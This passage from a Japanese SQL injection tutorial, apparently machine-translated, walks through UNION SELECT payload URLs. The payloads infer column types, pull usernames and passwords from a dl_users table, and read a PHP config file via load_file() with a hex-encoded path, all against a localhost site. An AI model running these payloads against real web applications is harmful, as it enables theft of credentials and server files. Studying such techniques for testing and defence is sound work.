3: いくつかの注入テクニック (その多くは個人的な発見です)
1. ユニオン選択テクニック
UNION は、複数の SELECT ステートメントの結果を結果セットに結合するために使用されます。 SELECT の select_expression 部分にリストされている列は、同じ型である必要があります。最初の SELECT クエリで使用された列名が、結果セットの列名として返されます。
ただし、次の方法を使用して列の型を推測することができ、時間を大幅に節約できます
まず始めましょう
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union % 20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
図 24
ソフトウェアの説明を見てください。 3、作者は 4 と言っているので、3 と 4 の位置は文字型であると推測できます。14 より前のダウンロード数を見てみましょう。これは int 型ですよね。
さて、これをベースに構築してみましょう。 ユーザー名とパスワードも文字タイプであると推定されます。
試してみる
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%201,2,password,4,username,6,7,8,9 ,10,11,12,13,14,15,16,17,18%20from%20dl_users
図 25 に示すように
はは、この方法は見ただけで大まかに推測できます。
2.load_file を使用してファイルを読み書きするためのヒント
load_file() を使用して php ファイルを読み書きすると、Web ページに表示できないことに気づいたでしょうか。例:
C:/apache/htdocs/site/lib/sql.inc.php は 16 進数に変換されます: 0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870は次のとおりです
http://localhost/site/display.php?id=
451% 20and %201=2%20%20union%20select%201,2,load_file(0x433A2F6170616368652F6874646F63732F736974652F6C69622F73716C2E696E632E706870)
,4,5,6, 7,8 ,9,10,11
図 26 に示すように
内容が記事の sql.inc.php があるべき場所に表示されるはずですが、空です。なぜですか?
まず Web ページのソース コードを見てみましょう
図 27
ははは、マークされた場所を見てください。とてもめまいがして、ここにあることがわかりましたが、なぜですか?
HTML の < > は注釈に使用されていることがわかりました。次回どこで探すか覚えておいてください。